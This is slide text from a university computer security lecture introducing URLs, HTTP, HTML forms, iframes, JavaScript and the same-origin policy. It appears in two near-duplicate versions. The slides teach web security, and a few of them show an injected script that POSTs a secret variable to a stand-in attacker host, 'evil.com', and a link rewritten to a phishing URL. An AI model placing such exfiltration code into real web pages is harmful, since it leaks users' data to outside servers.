Introduction to the Web
CS 161 Fall 2025 - Lecture 13
Midterm Logistics
2
Today: Introduction to Web
3
A Brief History of the Web
A Brief History of the Web
5
Memex
6
Memex
7
Web 1.0
8
Web 1.0, Attempt 2
9
JavaScript: The Good Parts
10
What’s the Web?
What’s the Web?
12
Browser
Browser
Browser
Server
Server
The Internet
Today: Elements of the Web
13
URLs
Today: Elements of the Web
15
URLs
16
Parts of a URL: Scheme / Protocol
17
https://toon.cs161.org/xorcist/avian.html
Parts of a URL: Domain
18
https://toon.cs161.org/xorcist/avian.html
Parts of a URL: Location
19
https://toon.cs161.org/xorcist/avian.html
Parts of a URL: Path
20
https://toon.cs161.org/xorcist/avian.html
Parts of a URL: Query
21
https://toon.cs161.org/draw?character=evan&size=big
Parts of a URL: Fragment / Anchor
22
https://toon.cs161.org/cryptoverse/characters#mallory
URL Escaping
23
A Simplified View of the Web
24
/
├── /pictures
│ ├── evanbot.jpg
│ └── codabot.jpg
├── /secrets
│ ├── passwords.txt
│ └── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Filesystem
func draw(bot, size)
func search(q)
Backend
Browser
Server: www.evanbot.com
A Simplified View of the Web — File Query
25
/
├── /pictures
│ ├── evanbot.jpg
│ └── codabot.jpg
├── /secrets
│ ├── passwords.txt
│ └── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Filesystem
func draw(bot, size)
func search(q)
Backend
Browser
Server: www.evanbot.com
The browser can request a file from the server with a URL:�https://evanbot.com/pictures/evanbot.jpg
A Simplified View of the Web — Compute Query
26
/
├── /pictures
│ ├── evanbot.jpg
│ └── codabot.jpg
├── /secrets
│ ├── passwords.txt
│ └── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Filesystem
func draw(bot, size)
func search(q)
Backend
Browser
Server: www.evanbot.com
The browser can request some computation from the server:�https://evanbot.com/draw?bot=evan&size=large
HTTP
Today: Elements of the Web
28
HTTP
29
Parts of an HTTP Request
30
Parts of an HTTP Response
31
Status Code 418
32
Status Code 418
33
POST / HTTP/1.1
Content-Length: 52
{
“data”: “ABC123”�}
34
Parts of a Webpage
Today: Elements of the Web
36
HTML
<name property=value>content</name>
37
Features of HTML: Links
<a href="https://toon.cs161.org">� Check out these comics!�</a>
38
HTML
Webpage
Clicking on this text will take you to https://toon.cs161.org
Features of HTML: Forms
<form action="/feedback" method="POST">� <label for="name">Name:</label>� <input type="text" id="name">� <br>� <label for="bot">Favorite bot:</label><br>� <input type="radio" id="evan">� <label for="html">EvanBot</label><br>� <input type="radio" id="coda">� <label for="css">CodaBot</label><br>� <br>� <input type="submit" value="Submit">�</form>
39
HTML
Webpage
Submit
Name:
Favorite bot:
EvanBot
CodaBot
The HTML between the <form> tags creates the form fields for the user to fill in.
Clicking on the submit button makes a POST request to https://toon.cs161.org/feedback with the contents of the form
Features of HTML: Embed Images
<p>Look at my new desktop background!</p>�<img�src="https://toon.cs161.org/assets/desktop.png">
40
HTML
Webpage
Look at my new desktop background!
The browser will make a GET request to https://toon.cs161.org/assets/desktop.png and display the returned image on the page.
Features of HTML: Embed Websites
<iframe� src="https://toon.cs161.org"� height="500"� width="1000"�></iframe>�<p>CS 161 toon website above.</p>
41
HTML
Webpage
CS 161 toon website above.
The outer frame embeds the inner frame (sometimes called an iframe or frame)
The browser will make a GET request to https://toon.cs161.org/ and display the returned page in a 500 × 1000 pixel box.
CSS
42
JavaScript
43
JavaScript Fact Sheet
44
Vulnerabilities in the JavaScript interpreter/compiler
45
Features of JavaScript: Modify Content
46
Webpage
<a id="link" href="https://toon.cs161.org">Toon</a>
HTML (before JavaScript executes)
Webpage
<a id="link" href="https://cs161.org/phishing">Toon</a>
HTML (after JavaScript executes)
document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");
JavaScript changed the link! Now clicking it opens https://cs161.org/phishing
Features of JavaScript: Pop Ups
<script>� alert("Happy Birthday")�</script>
47
HTML (with embedded JavaScript)
When the browser loads this HTML, it will run the embedded JavaScript and cause a pop-up to appear.
Webpage
Happy Birthday!
OK
Features of JavaScript: HTTP Requests
<script>var secret = 42;</script>�...�<script>� fetch('https://evil.com/recieve', { method: 'POST', body: secret })�</script>
48
HTML (with embedded JavaScript)
Suppose the server returns some HTML with a secret JavaScript variable.
If the attacker somehow adds this JavaScript, the browser will send a POST request to the attacker’s server with the secret.
Rendering a Webpage
49
document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");
Security on the Web
Risks on the Web
51
Risks on the Web
52
Risks on the Web
53
Same-Origin Policy
Same-Origin Policy: Definition
55
Same-Origin Policy
56
https://toon.cs161.org:443/assets/lock.PNG
http://cs161.org/assets/images/404.png
80 (default port)
Same-Origin Policy
57
First domain | Second domain | Same origin? |
http://toon.cs161.org | https://toon.cs161.org | No. Protocol mismatch�http ≠ https |
http://toon.cs161.org | http://cs161.org | No. Domain mismatch�toon.cs161.org ≠ cs161.org |
http://toon.cs161.org | http://toon.cs161.org:8000 | No. Port mismatch�80 ≠ 8000 |
Same-Origin Policy
58
Summary
URLs: Summary
60
HTTP: Summary
61
Parts of a Webpage: Summary
62
Same-Origin Policy: Summary
63
Introduction to the Web
CS 161 Fall 2025 - Lecture 13
Computer Science 161
Today: Introduction to Web
65
Computer Science 161
A Brief History of the Web
66
Computer Science 161
A Brief History of the Web
67
Computer Science 161
Memex
68
Computer Science 161
Memex
69
Computer Science 161
Web 1.0
70
Computer Science 161
Web 1.0, Attempt 2
71
Computer Science 161
Javascript, the good parts
72
Computer Science 161
What’s the Web?
73
Computer Science 161
What’s the Web?
74
Browser
Browser
Browser
Server
Server
The Internet
Computer Science 161
Today: Elements of the Web
75
Computer Science 161
URLs
76
Computer Science 161
Today: Elements of the Web
77
Computer Science 161
URLs
78
Computer Science 161
Parts of a URL: Scheme
79
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Parts of a URL: Domain
80
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Parts of a URL: Location
81
https://toon.cs161.org:4000/xorcist/avian.html
Computer Science 161
Parts of a URL: Path
82
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Parts of a URL: Query
83
https://toon.cs161.org/draw?character=evan&size=big
Computer Science 161
Parts of a URL: Fragment
84
https://toon.cs161.org/cryptoverse/characters#mallory
Computer Science 161
URL Escaping
85
Computer Science 161
A Simplified View of the Web
86
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Filesystem
func draw(bot, size)
func search(q)
Backend
Browser
Server: www.evanbot.com
Computer Science 161
A Simplified View of the Web
87
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Server: www.evanbot.com
func draw(bot, size)
func search(q)
Filesystem
Backend
The browser can request a file from the server with a URL.
https://evanbot.com/pictures/evanbot.jpg
Computer Science 161
A Simplified View of the Web
88
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Server: www.evanbot.com
func draw(bot, size)
func search(q)
Filesystem
Backend
The browser can also request some computation from the server.
https://evanbot.com/draw?bot=evan&size=large
Computer Science 161
HTTP
89
Computer Science 161
Today: Elements of the Web
90
Computer Science 161
HTTP
91
Computer Science 161
Parts of an HTTP Request
92
Computer Science 161
Parts of an HTTP Response
93
Computer Science 161
Parts of a Webpage
94
Computer Science 161
Today: Elements of the Web
95
Computer Science 161
HTML
96
Computer Science 161
Features of HTML: Create a Link
97
<a href="https://toon.cs161.org">Check out these comics!</a>
HTML
Webpage
Clicking on this text will take you to https://toon.cs161.org
Computer Science 161
Features of HTML: Create a Form
98
<form action="/feedback" method="POST">
<label for="name">Name:</label>
<input type="text" id="name">
<br>
<label for="bot">Favorite bot:</label><br>
<input type="radio" id="evan">
<label for="html">EvanBot</label><br>
<input type="radio" id="coda">
<label for="css">CodaBot</label><br>
<br>
<input type="submit" value="Submit">
</form>
HTML
Name:
Favorite bot:
EvanBot
CodaBot
Webpage
Submit
Clicking on the submit button will make a POST request to http://toon.cs161.org/feedback with the contents of the form
The HTML inside the <form> tags creates the form fields for the user to fill in.
Computer Science 161
Features of HTML: Embed an Image
99
<p>Look at my new desktop background!</p>
<img src="https://toon.cs161.org/assets/desktop.png">
HTML
Look at my new desktop background!
Webpage
The browser will make a GET request to https://toon.cs161.org/assets/desktop.png
and display the returned image on the page.
Computer Science 161
Features of HTML: Embed Another Webpage
100
CS 161 toon website above.
The outer frame embeds the inner frame (sometimes called an iframe or frame).
<iframe src="https://toon.cs161.org" height="200" width="300"></iframe>
<p>CS 161 toon website above.</p>
HTML
Webpage
The browser will make a GET request to https://toon.cs161.org/ and display the returned webpage in a�200 pixel × 300 pixel box.
Computer Science 161
CSS
101
Computer Science 161
JavaScript
102
Computer Science 161
JavaScript Fact Sheet
103
Computer Science 161
Vulnerabilities in the JavaScript interpreter/compiler
104
Computer Science 161
Features of JavaScript
105
Webpage
<a id="link" href="https://toon.cs161.org">Toon</a>
HTML (before JavaScript executes)
Webpage
<a id="link" href="https://cs161.org/phishing">Toon</a>
HTML (after JavaScript executes)
document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");
JavaScript changed the link! Now clicking it opens https://cs161.org/phishing.
Computer Science 161
Features of JavaScript
106
<script>alert("Happy Birthday!")</script>
HTML (with embedded JavaScript)
Webpage
Happy Birthday!
`
OK
When the browser loads this HTML, it will run the embedded JavaScript and cause a pop-up to appear.
Computer Science 161
Features of JavaScript
107
<script>int secret = 42;</script>
...
<script>fetch('https://evil.com/receive',{method:'POST', body: secret})</script>
HTML (with embedded JavaScript)
If the attacker somehow adds this JavaScript, the browser will send a POST request to the attacker’s server with the secret.
Suppose the server returns some HTML with a secret JavaScript variable.
Computer Science 161
Rendering a Webpage
108
Computer Science 161
Security on the Web
109
Computer Science 161
Risks on the Web
110
Computer Science 161
Risks on the Web
111
Computer Science 161
Risks on the Web
112
Computer Science 161
Same-Origin Policy
113
Computer Science 161
Same-Origin Policy: Definition
114
Computer Science 161
Same-Origin Policy
115
https://toon.cs161.org:443/assets/lock.PNG
http://cs161.org/assets/images/404.png
80 (default port)
Computer Science 161
Same-Origin Policy
116
First domain | Second domain | Same origin? |
| | |
| | |
| | |
http://toon.cs161.org
https://toon.cs161.org
No. Protocol mismatch�http ≠ https
http://toon.cs161.org
http://cs161.org
No. Domain mismatch�toon.cs161.org ≠ cs161.org
http://toon.cs161.org
http://toon.cs161.org:8000
No. Port mismatch�80 ≠ 8000
Computer Science 161
Same-Origin Policy
117
Computer Science 161
URLs: Summary
118
Computer Science 161
HTTP: Summary
119
Computer Science 161
Parts of a Webpage: Summary
120
Computer Science 161
Same-Origin Policy: Summary
121
Computer Science 161